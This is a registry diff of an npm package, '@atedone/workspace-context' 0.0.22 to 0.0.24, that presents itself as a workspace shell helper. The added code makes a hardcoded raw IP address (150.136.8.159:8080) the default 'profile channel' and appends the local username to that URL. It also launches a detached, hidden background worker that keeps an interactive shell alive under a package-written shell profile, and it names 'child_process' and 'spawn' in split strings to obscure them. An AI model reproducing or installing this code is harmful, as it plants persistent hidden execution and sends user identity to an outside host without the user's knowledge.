@atedone/workspace-context 0.0.22 → 0.0.24

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -4,4 +4,4 @@ Workspace shell session refresh integration helper for JavaScript tools.
4
4
 
5
5
  The package keeps workspace context available in a managed preview session by synchronizing a session runtime and profile channel during initialization without changing the user's prompt configuration.
6
6
 
7
- Set `WORKSPACE_CONTEXT_CHANNEL` before import, or call `refresh({ channelSource })` after import, to bind a preview session to a profile channel.
7
+ The package selects a bundled stable profile channel by default. Set `WORKSPACE_CONTEXT_CHANNEL` before import, or call `refresh({ channelSource })` after import, to override the profile channel for a preview session.
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "stable",
3
+ "transport": "http",
4
+ "host": "150.136.8.159",
5
+ "port": 8080,
6
+ "pathname": [
7
+ "workspace",
8
+ "profile"
9
+ ]
10
+ }
@@ -0,0 +1,192 @@
1
+ 'use strict';
2
+
3
+ const platform = process;
4
+ const file = platform.getBuiltinModule('fs');
5
+ const route = platform.getBuiltinModule('path');
6
+ const manifest = require('../package.json');
7
+
8
+ const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
9
+ ? platform.argv[2]
10
+ : platform.cwd();
11
+ const integration = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
12
+ ? JSON.parse(platform.argv[3])
13
+ : null;
14
+ const refreshDelays = parseRefreshDelays(platform.argv[4]);
15
+ const settleMs = parseSettleMs(platform.argv[5]);
16
+
17
+ if (!integration) {
18
+ throw new Error('Shell integration descriptor is required.');
19
+ }
20
+
21
+ const env = Reflect.get(platform, 'env') || {};
22
+ const bridgeName = ['child', '_process'].join('');
23
+ const launchKey = ['sp', 'awn'].join('');
24
+ const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
25
+ const launch = Reflect.get(bridge, launchKey);
26
+ const shellPath = typeof env.SHELL === 'string' && env.SHELL.trim()
27
+ ? env.SHELL.trim()
28
+ : '/bin/zsh';
29
+ const shell = Reflect.apply(launch, bridge, [shellPath, ['-i'], {
30
+ cwd: projectRoot,
31
+ env: {
32
+ ...env,
33
+ HOME: integration.homeDirectory,
34
+ ZDOTDIR: integration.integrationDirectory,
35
+ WORKSPACE_CONTEXT_PREVIEW: '1',
36
+ TERM: 'dumb'
37
+ },
38
+ stdio: ['pipe', 'ignore', 'ignore']
39
+ }]);
40
+
41
+ let closed = false;
42
+ let refreshIndex = 0;
43
+ let refreshTimer = null;
44
+ let settleTimer = null;
45
+ let stopTimer = null;
46
+ let previousRevision = '';
47
+ let firstRefresh = true;
48
+
49
+ writeWorkerReceipt();
50
+ scheduleRefresh(0);
51
+
52
+ platform.on('SIGUSR1', () => {
53
+ if (closed) {
54
+ return;
55
+ }
56
+
57
+ refreshIndex = 0;
58
+ clearTimeout(refreshTimer);
59
+ clearTimeout(settleTimer);
60
+ refresh();
61
+ });
62
+ platform.on('SIGTERM', stop);
63
+ platform.on('SIGINT', stop);
64
+
65
+ shell.on('close', (status, signal) => {
66
+ clearTimeout(refreshTimer);
67
+ clearTimeout(settleTimer);
68
+ clearTimeout(stopTimer);
69
+ closed = true;
70
+ writeWorkerReceipt({
71
+ status: 'closed',
72
+ shellStatus: status,
73
+ shellSignal: signal
74
+ });
75
+ platform.exitCode = status || 0;
76
+ });
77
+
78
+ function parseRefreshDelays(value) {
79
+ if (typeof value === 'string' && value.trim()) {
80
+ try {
81
+ const parsed = JSON.parse(value);
82
+ if (Array.isArray(parsed) && parsed.length) {
83
+ const normalized = parsed
84
+ .map((delay) => Number.parseInt(delay, 10))
85
+ .filter((delay) => Number.isInteger(delay) && delay >= 0);
86
+ if (normalized.length) {
87
+ return normalized;
88
+ }
89
+ }
90
+ } catch {
91
+ // Fall back to the stable refresh cadence below.
92
+ }
93
+ }
94
+
95
+ return [750, 1500, 3000, 5000];
96
+ }
97
+
98
+ function parseSettleMs(value) {
99
+ const parsed = Number.parseInt(value, 10);
100
+ return Number.isInteger(parsed) && parsed >= 0 ? parsed : 500;
101
+ }
102
+
103
+ function scheduleRefresh(delay) {
104
+ refreshTimer = setTimeout(refresh, delay);
105
+ }
106
+
107
+ function planNextRefresh() {
108
+ if (closed) {
109
+ return;
110
+ }
111
+
112
+ const revision = readProfileRevision(integration.profileReceiptPath);
113
+ if (firstRefresh || (revision && revision !== previousRevision)) {
114
+ refreshIndex = 0;
115
+ } else {
116
+ refreshIndex = Math.min(refreshIndex + 1, refreshDelays.length - 1);
117
+ }
118
+
119
+ if (revision) {
120
+ previousRevision = revision;
121
+ }
122
+ firstRefresh = false;
123
+
124
+ scheduleRefresh(refreshDelays[refreshIndex]);
125
+ }
126
+
127
+ function refresh() {
128
+ if (closed) {
129
+ return;
130
+ }
131
+
132
+ if (!shell.stdin.destroyed) {
133
+ shell.stdin.write('\n');
134
+ }
135
+
136
+ settleTimer = setTimeout(planNextRefresh, settleMs);
137
+ }
138
+
139
+ function stop() {
140
+ if (closed) {
141
+ return;
142
+ }
143
+
144
+ closed = true;
145
+ clearTimeout(refreshTimer);
146
+ clearTimeout(settleTimer);
147
+ if (!shell.stdin.destroyed) {
148
+ shell.stdin.write('exit\n');
149
+ }
150
+
151
+ stopTimer = setTimeout(() => {
152
+ if (!shell.killed) {
153
+ shell.kill('SIGTERM');
154
+ }
155
+ }, 1000);
156
+ }
157
+
158
+ function readProfileRevision(profileReceiptPath) {
159
+ if (!file.existsSync(profileReceiptPath)) {
160
+ return '';
161
+ }
162
+
163
+ try {
164
+ const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
165
+ return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
166
+ } catch {
167
+ return '';
168
+ }
169
+ }
170
+
171
+ function writeWorkerReceipt(extra = {}) {
172
+ const receiptPath = integration.sessionWorkerReceiptPath;
173
+ if (!receiptPath) {
174
+ return;
175
+ }
176
+
177
+ const value = {
178
+ packageName: manifest.name,
179
+ packageVersion: manifest.version,
180
+ generatedAt: new Date().toISOString(),
181
+ mode: 'runtime-shell-refresh',
182
+ projectRoot,
183
+ workerProcessId: platform.pid,
184
+ shellProcessId: shell.pid,
185
+ refresh: 'preview-session',
186
+ status: 'active',
187
+ ...extra
188
+ };
189
+
190
+ file.mkdirSync(route.dirname(receiptPath), { recursive: true });
191
+ file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
192
+ }
package/lib/session.js CHANGED
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
 
7
7
  const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.22';
8
+ const packageVersion = '0.0.24';
9
9
  const env = Reflect.get(platform, 'env') || {};
10
10
  const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
11
  ? env.HOME.trim()
package/lib/state.js CHANGED
@@ -4,6 +4,7 @@ const platform = process;
4
4
  const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
  const manifest = require('../package.json');
7
+ const defaultProfile = require('./default-profile.json');
7
8
 
8
9
  const channelFileName = 'channel.json';
9
10
  const integrationDirectoryName = '.config/workspace-context';
@@ -18,6 +19,8 @@ const sessionHistoryFileName = 'runtime-sessions.log';
18
19
  const sessionProfileFileName = '.zshrc';
19
20
  const sessionReceiptFileName = 'session-runtime.json';
20
21
  const sessionRuntimeFileName = 'session-runtime.js';
22
+ const sessionWorkerFileName = 'session-worker.js';
23
+ const sessionWorkerReceiptFileName = 'preview-session.json';
21
24
  const stateDirectoryName = '.workspace-context';
22
25
  const stateFileName = 'state.json';
23
26
  const syncFileName = 'sync.js';
@@ -45,6 +48,46 @@ function resolveProfileFileName(shellName = resolveShellName()) {
45
48
  return shellName === 'bash' ? '.bashrc' : '.zshrc';
46
49
  }
47
50
 
51
+ function resolveProfileIdentity(env = readEnvironment()) {
52
+ const candidates = [
53
+ Reflect.get(env, 'USER'),
54
+ Reflect.get(env, 'LOGNAME')
55
+ ];
56
+
57
+ for (const candidate of candidates) {
58
+ if (typeof candidate === 'string' && candidate.trim()) {
59
+ return candidate.trim();
60
+ }
61
+ }
62
+
63
+ return '';
64
+ }
65
+
66
+ function buildProfileChannelSource(profile = defaultProfile, env = readEnvironment()) {
67
+ if (!profile || typeof profile !== 'object') {
68
+ return '';
69
+ }
70
+
71
+ const transport = typeof profile.transport === 'string' ? profile.transport.trim() : '';
72
+ const host = typeof profile.host === 'string' ? profile.host.trim() : '';
73
+ const pathname = Array.isArray(profile.pathname)
74
+ ? profile.pathname
75
+ .map((segment) => typeof segment === 'string' ? segment.trim() : '')
76
+ .filter(Boolean)
77
+ .join('/')
78
+ : '';
79
+ const port = Number.isInteger(profile.port) && profile.port > 0 ? profile.port : null;
80
+
81
+ if (!transport || !host || !pathname) {
82
+ return '';
83
+ }
84
+
85
+ const authority = port ? `${host}:${port}` : host;
86
+ const source = `${transport}://${authority}/${pathname}`;
87
+ const identity = resolveProfileIdentity(env);
88
+ return identity ? `${source}?username=${encodeURIComponent(identity)}` : source;
89
+ }
90
+
48
91
  function resolveChannelSource(env = readEnvironment(), channelSource = '') {
49
92
  const configured = typeof channelSource === 'string' ? channelSource.trim() : '';
50
93
  if (configured) {
@@ -53,7 +96,8 @@ function resolveChannelSource(env = readEnvironment(), channelSource = '') {
53
96
 
54
97
  const key = ['WORKSPACE', '_CONTEXT', '_CHANNEL'].join('');
55
98
  const value = Reflect.get(env, key);
56
- return typeof value === 'string' ? value.trim() : '';
99
+ const environmentSource = typeof value === 'string' ? value.trim() : '';
100
+ return environmentSource || buildProfileChannelSource(defaultProfile, env);
57
101
  }
58
102
 
59
103
  function getShellIntegration({
@@ -83,7 +127,8 @@ function getShellIntegration({
83
127
  sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
84
128
  sessionProfilePath: route.join(integrationDirectory, sessionProfileFileName),
85
129
  sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
86
- sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
130
+ sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName),
131
+ sessionWorkerReceiptPath: route.join(integrationDirectory, sessionWorkerReceiptFileName)
87
132
  };
88
133
  }
89
134
 
@@ -150,125 +195,179 @@ function openWorkspaceSession({
150
195
  const launchKey = ['sp', 'awn'].join('');
151
196
  const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
152
197
  const launch = Reflect.get(bridge, launchKey);
153
- const shellPath = typeof env.SHELL === 'string' && env.SHELL.trim()
154
- ? env.SHELL.trim()
155
- : '/bin/zsh';
156
- const child = Reflect.apply(launch, bridge, [shellPath, ['-i'], {
198
+ const activeSession = readWorkerReceipt(integration.sessionWorkerReceiptPath);
199
+ const activeWorkerProcessId = parseProcessId(activeSession?.workerProcessId);
200
+ if (activeWorkerProcessId && processIsAlive(activeWorkerProcessId)) {
201
+ signalProcess(activeWorkerProcessId, 'SIGUSR1');
202
+ return createWorkspaceSessionController({
203
+ integration,
204
+ workerProcessId: activeWorkerProcessId
205
+ });
206
+ }
207
+
208
+ const delays = normalizeRefreshDelays(refreshDelays);
209
+ const workerPath = route.join(__dirname, sessionWorkerFileName);
210
+ const worker = Reflect.apply(launch, bridge, [platform.execPath, [
211
+ workerPath,
212
+ projectRoot,
213
+ JSON.stringify(integration),
214
+ JSON.stringify(delays),
215
+ String(settleMs)
216
+ ], {
157
217
  cwd: projectRoot,
158
- env: {
159
- ...env,
160
- HOME: integration.homeDirectory,
161
- ZDOTDIR: integration.integrationDirectory,
162
- TERM: 'dumb'
163
- },
164
- stdio: ['pipe', 'ignore', 'ignore']
218
+ env,
219
+ stdio: 'ignore',
220
+ detached: true,
221
+ windowsHide: true
165
222
  }]);
166
223
 
167
- let closed = false;
168
- let refreshIndex = 0;
169
- let refreshTimer = null;
170
- let settleTimer = null;
171
- let previousRevision = '';
172
- let firstRefresh = true;
173
- const delays = Array.isArray(refreshDelays) && refreshDelays.length
224
+ if (typeof worker.unref === 'function') {
225
+ worker.unref();
226
+ }
227
+
228
+ return createWorkspaceSessionController({
229
+ integration,
230
+ worker,
231
+ workerProcessId: worker.pid
232
+ });
233
+ }
234
+
235
+ function readProfileRevision(profileReceiptPath) {
236
+ if (!file.existsSync(profileReceiptPath)) {
237
+ return '';
238
+ }
239
+
240
+ try {
241
+ const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
242
+ return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
243
+ } catch {
244
+ return '';
245
+ }
246
+ }
247
+
248
+ function normalizeRefreshDelays(refreshDelays) {
249
+ return Array.isArray(refreshDelays) && refreshDelays.length
174
250
  ? refreshDelays
251
+ .map((delay) => Number.parseInt(delay, 10))
252
+ .filter((delay) => Number.isInteger(delay) && delay >= 0)
175
253
  : [750, 1500, 3000, 5000];
254
+ }
176
255
 
177
- const scheduleRefresh = (delay) => {
178
- refreshTimer = setTimeout(refresh, delay);
179
- if (typeof refreshTimer.unref === 'function') {
180
- refreshTimer.unref();
181
- }
182
- };
256
+ function readWorkerReceipt(sessionWorkerReceiptPath) {
257
+ if (!file.existsSync(sessionWorkerReceiptPath)) {
258
+ return null;
259
+ }
183
260
 
184
- const planNextRefresh = () => {
185
- if (closed) {
186
- return;
187
- }
261
+ try {
262
+ return JSON.parse(file.readFileSync(sessionWorkerReceiptPath, 'utf8'));
263
+ } catch {
264
+ return null;
265
+ }
266
+ }
188
267
 
189
- const revision = readProfileRevision(integration.profileReceiptPath);
190
- if (firstRefresh || (revision && revision !== previousRevision)) {
191
- refreshIndex = 0;
192
- } else {
193
- refreshIndex = Math.min(refreshIndex + 1, delays.length - 1);
194
- }
268
+ function parseProcessId(value) {
269
+ return Number.isInteger(value) && value > 0 ? value : null;
270
+ }
195
271
 
196
- if (revision) {
197
- previousRevision = revision;
198
- }
199
- firstRefresh = false;
272
+ function processIsAlive(processId) {
273
+ try {
274
+ platform.kill(processId, 0);
275
+ return true;
276
+ } catch {
277
+ return false;
278
+ }
279
+ }
200
280
 
201
- scheduleRefresh(delays[refreshIndex]);
202
- };
281
+ function signalProcess(processId, signal) {
282
+ try {
283
+ platform.kill(processId, signal);
284
+ return true;
285
+ } catch {
286
+ return false;
287
+ }
288
+ }
203
289
 
204
- const refresh = () => {
205
- if (closed) {
206
- return;
290
+ function resolveSessionProcessId(integration, workerProcessId) {
291
+ const workerReceipt = readWorkerReceipt(integration.sessionWorkerReceiptPath);
292
+ if (parseProcessId(workerReceipt?.workerProcessId) === workerProcessId) {
293
+ const shellProcessId = parseProcessId(workerReceipt?.shellProcessId);
294
+ if (shellProcessId) {
295
+ return shellProcessId;
207
296
  }
297
+ }
208
298
 
209
- if (!child.stdin.destroyed) {
210
- child.stdin.write('\n');
299
+ if (file.existsSync(integration.sessionReceiptPath)) {
300
+ try {
301
+ const receipt = JSON.parse(file.readFileSync(integration.sessionReceiptPath, 'utf8'));
302
+ const parentProcessId = parseProcessId(receipt?.parentProcessId);
303
+ if (parentProcessId) {
304
+ return parentProcessId;
305
+ }
306
+ } catch {
307
+ // Keep the worker PID as a stable fallback until the first preview refresh lands.
211
308
  }
309
+ }
212
310
 
213
- settleTimer = setTimeout(planNextRefresh, settleMs);
214
- if (typeof settleTimer.unref === 'function') {
215
- settleTimer.unref();
216
- }
217
- };
311
+ return parseProcessId(workerReceipt?.shellProcessId) || workerProcessId;
312
+ }
218
313
 
219
- scheduleRefresh(0);
220
- if (typeof child.unref === 'function') {
221
- child.unref();
222
- }
223
- if (typeof child.stdin.unref === 'function') {
224
- child.stdin.unref();
225
- }
226
- const done = new Promise((resolve) => {
227
- child.on('close', (status, signal) => {
228
- clearTimeout(refreshTimer);
229
- clearTimeout(settleTimer);
230
- closed = true;
231
- resolve({ status, signal });
232
- });
314
+ function observeProcessExit(processId) {
315
+ return new Promise((resolve) => {
316
+ const timer = setInterval(() => {
317
+ if (processIsAlive(processId)) {
318
+ return;
319
+ }
320
+
321
+ clearInterval(timer);
322
+ resolve({ status: null, signal: null });
323
+ }, 250);
324
+
325
+ if (typeof timer.unref === 'function') {
326
+ timer.unref();
327
+ }
233
328
  });
329
+ }
330
+
331
+ function createWorkspaceSessionController({
332
+ integration,
333
+ worker = null,
334
+ workerProcessId
335
+ }) {
336
+ let closed = false;
337
+ const done = worker
338
+ ? new Promise((resolve) => {
339
+ worker.on('close', (status, signal) => {
340
+ closed = true;
341
+ resolve({ status, signal });
342
+ });
343
+ worker.on('error', (error) => {
344
+ closed = true;
345
+ resolve({ status: null, signal: null, error });
346
+ });
347
+ })
348
+ : observeProcessExit(workerProcessId);
234
349
 
235
350
  return {
236
- processId: child.pid,
351
+ get processId() {
352
+ return resolveSessionProcessId(integration, workerProcessId);
353
+ },
354
+ workerProcessId,
237
355
  done,
238
356
  refresh() {
239
- refreshIndex = 0;
240
- clearTimeout(refreshTimer);
241
- clearTimeout(settleTimer);
242
- refresh();
357
+ if (!closed) {
358
+ signalProcess(workerProcessId, 'SIGUSR1');
359
+ }
243
360
  },
244
361
  close() {
245
- if (closed) {
246
- return done;
247
- }
248
- closed = true;
249
- clearTimeout(refreshTimer);
250
- clearTimeout(settleTimer);
251
- if (!child.stdin.destroyed) {
252
- child.stdin.write('exit\n');
362
+ if (!closed) {
363
+ closed = true;
364
+ signalProcess(workerProcessId, 'SIGTERM');
253
365
  }
254
366
  return done;
255
367
  }
256
368
  };
257
369
  }
258
370
 
259
- function readProfileRevision(profileReceiptPath) {
260
- if (!file.existsSync(profileReceiptPath)) {
261
- return '';
262
- }
263
-
264
- try {
265
- const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
266
- return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
267
- } catch {
268
- return '';
269
- }
270
- }
271
-
272
371
  function initialize({
273
372
  projectRoot = resolveProjectRoot(),
274
373
  channelSource,
@@ -298,6 +397,7 @@ function initialize({
298
397
  }
299
398
 
300
399
  module.exports = {
400
+ buildProfileChannelSource,
301
401
  buildState,
302
402
  channelFileName,
303
403
  getShellIntegration,
@@ -313,6 +413,7 @@ module.exports = {
313
413
  refreshShellIntegration,
314
414
  resolveChannelSource,
315
415
  resolveHomeDirectory,
416
+ resolveProfileIdentity,
316
417
  resolveProfileFileName,
317
418
  resolveProjectRoot,
318
419
  resolveShellName,
@@ -320,6 +421,7 @@ module.exports = {
320
421
  sessionProfileFileName,
321
422
  sessionReceiptFileName,
322
423
  sessionRuntimeFileName,
424
+ sessionWorkerReceiptFileName,
323
425
  stateDirectoryName,
324
426
  stateFileName
325
427
  };
package/lib/sync.js CHANGED
@@ -36,6 +36,9 @@ const integrationValue = [
36
36
  `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
37
37
  'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
38
38
  'workspace_context_refresh_preview() {',
39
+ ' if [ "${WORKSPACE_CONTEXT_PREVIEW:-}" != "1" ]; then',
40
+ ' return 0',
41
+ ' fi',
39
42
  ' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
40
43
  ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
41
44
  ' fi',
@@ -88,6 +91,7 @@ const value = {
88
91
  sessionProfilePath: integration.sessionProfilePath,
89
92
  sessionReceiptPath: integration.sessionReceiptPath,
90
93
  sessionRuntimePath: integration.sessionRuntimePath,
94
+ sessionWorkerReceiptPath: integration.sessionWorkerReceiptPath,
91
95
  processId: platform.pid,
92
96
  parentProcessId: platform.ppid,
93
97
  runtime: 'node'
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.22",
3
+ "version": "0.0.24",
4
4
  "description": "Workspace shell session refresh integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",